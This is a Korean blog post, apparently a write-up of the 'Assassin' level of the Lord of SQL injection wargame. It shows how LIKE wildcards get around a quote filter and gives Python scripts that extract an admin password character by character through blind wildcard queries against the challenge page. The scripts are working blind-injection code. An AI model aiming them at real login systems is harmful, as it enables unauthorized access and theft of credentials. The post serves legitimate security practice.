D1N0's hacking blog
Lord of SQL injection - Assassin 본문
문제 풀이
세상에... 따옴표를 필터링하고 있다
지금까지 사용했던 SQL 인젝션 기법으로는 풀 수 없어 보인다
유일하게 전과 다른 것은 쿼리문에서 =이 아니라 like를 사용한다는 것이다
like는 =과 비슷하게 작동하여 전에 =을 우회하기 위해서도 사용하였지만 한 가지 큰 차이점이 있는데,
바로 와일드카드를 사용할 수 있다는 점이다
STEP 0 - SQL injection 취약점 확인
like는 특정 문자를 모르더라도 검색할 수 있는 와일드카드 %와 _를 지원한다
%는 문자의 길이에 관계없이 어떤 문자가 오던 상관없이 가져오고,
_는 딱 한 글자를 어떤 문자던지 상관없이 가져온다
예를 들어, A%B라면 ACB, A1234B, AB 등을 모두 가져오고,
A_B라면 ACB는 가져올 수 있지만 AB, A1234B 등은 가져올 수 없다
정말 통하는지 확인해보기 위해 pw에 %를 넣어보자
%의 헥스값은 0x25이므로 %25로 넣어주면 된다
이렇게 Hello guest라고 뜨는 것을 보아 잘 동작하는 것을 알 수 있다
또, admin보다 guest가 테이블의 더 위에 있는 것을 알 수 있다
이제 이를 이용하여 본격적으로 비밀번호를 찾아보겠다
STEP 1 - pw 길이 구하기
먼저, _를 사용하면 간단히 길이를 구할 수 있다
pw를 _ 한개, _두 개,... 이어가다 보면 길이가 맞을 때 Hello 메시지를 띄울 것이다
다음과 같이 코드를 짜보았다
import requests
target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}
for i in range(100):
pay = f"?pw=" + "_" * i
res = requests.get(target + pay, cookies=cookies)
if "Hello admin" in res.text:
print("length :", i)
length = i
break
어라? 결과가 나오지 않는다
비밀번호 길이가 100자리 이상인 경우를 배제하면, guest와 admin의 비밀번호 길이가 같기 때문에 Hello guest가 뜬 것 같다
따라서 코드를 다음과 같이 수정한다
import requests
target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}
for i in range(100):
pay = f"?pw=" + "_" * i
res = requests.get(target + pay, cookies=cookies)
if "Hello guest" in res.text:
print("length :", i)
length = i
break
비교문에서 Hello admin을 Hello guest로만 바꾼 코드이다
다시 실행해보면 8이라는 길이가 정상적으로 나오는 것을 알 수 있다
STEP 2 - pw 구하기
길이를 구했으니 와일드카드를 이용해 한 글자씩 구하면 된다
반복문을 사용해서 ________에서 한 글자만 바꾸어 결과가 정상적으로 나오는지를 보면 된다
아까처럼 admin과 guest의 같은 자리 비밀번호가 같을 수 있으므로 이를 고려해서 Hello admin이 나오지 않는다면 Hello guest가 나오는 값을 구하도록 짜면 된다
import requests
target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}
length = 8
pw = str()
for i in range(1, length + 1):
print("finding", i)
for j in range(32, 127): #출력 가능한 문자 범위
if j == 37 or j == 95: # 와일드카드 %, _ 제외
continue
pay = f"?pw=" + "_" * (i-1) + chr(j) + "_" * (length - i)
res = requests.get(target + pay, cookies=cookies)
if "Hello admin" in res.text:
pw += chr(j)
break
if len(pw) < i:
for j in range(32, 127):
if j == 37 or j == 95:
continue
pay = f"?pw=" + "_" * (i-1) + chr(j) + "_" * (length - i)
res = requests.get(target + pay, cookies=cookies)
if "Hello guest" in res.text:
pw += chr(j)
break
print("pw :", pw)
조금 시간이 지나면 pw가 나온다
STEP 3 - 인증하기
구한 pw를 넣으면 클리어 된다
STEP 4 - 개선
코드를 보면 조금 비효율적인 부분이 있는 것 같아서 살짝 고쳤다
모든 문자를 다 돌고 admin이 없으면 guest를 찾으러 한번 더 도는 것보다
guest를 먼저 찾으면 미리 저장해뒀다가 admin이 안나왔을 때 바로 그 값을 사용하도록 바꿔보았다
import requests
target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}
length = 8
pw = str()
for i in range(1, length + 1):
print("finding", i)
for j in range(32, 127):
if j == 37 or j == 95: # %, _
continue
pay = f"?pw=" + "_" * (i-1) + chr(j) + "_" * (length - i)
res = requests.get(target + pay, cookies=cookies)
if "Hello admin" in res.text:
pw += chr(j)
break
elif "Hello guest" in res.text:
tmp = chr(j)
if len(pw) < i:
pw += tmp
print("pw :", pw)
여전히 느리긴 하지만 앞선 코드보단 빠른 것을 확인할 수 있다
전체 코드
import requests
target = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}
######get pw length#######
for i in range(100):
pay = f"?pw=" + "_" * i
res = requests.get(target + pay, cookies=cookies)
if "Hello guest" in res.text:
print("length :", i)
length = i
break
#######get pw#######
pw = str()
for i in range(1, length + 1):
print("finding", i)
for j in range(32, 127):
if j == 37 or j == 95:
continue
pay = f"?pw=" + "_" * (i-1) + chr(j) + "_" * (length - i)
res = requests.get(target + pay, cookies=cookies)
if "Hello admin" in res.text:
pw += chr(j)
break
elif "Hello guest" in res.text:
tmp = chr(j)
if len(pw) < i:
pw += tmp
print("pw :", pw)
'Web > Lord of SQL injection' 카테고리의 다른 글
Lord of SQL injection - Giant (0) | 2021.02.15 |
---|---|
Lord of SQL injection - Bugbear (0) | 2020.11.30 |
Lord of SQL injection - Darkknight (0) | 2020.11.14 |
Lord of SQL injection - Golem (0) | 2020.11.12 |
Lord of SQL injection - Skeleton (0) | 2020.11.11 |